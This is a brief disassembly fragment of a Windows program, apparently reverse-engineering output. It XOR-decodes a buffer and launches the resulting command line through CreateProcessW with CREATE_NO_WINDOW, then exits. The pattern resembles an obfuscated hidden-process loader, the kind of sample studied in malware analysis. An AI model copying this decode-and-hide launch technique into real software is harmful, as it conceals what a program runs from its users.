vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x820]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x840]
vmovdqa ymmword [rbp + 0xc0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x860]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea r9, [rbp + 0x990]
lea r8, [rbp + 0x80]
mov edx, 0x208
lea rcx, [rbp + 0xba0]
vzeroupper
call fcn.140069060
lea rax, [rbp + 0x400]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x500]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xba0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3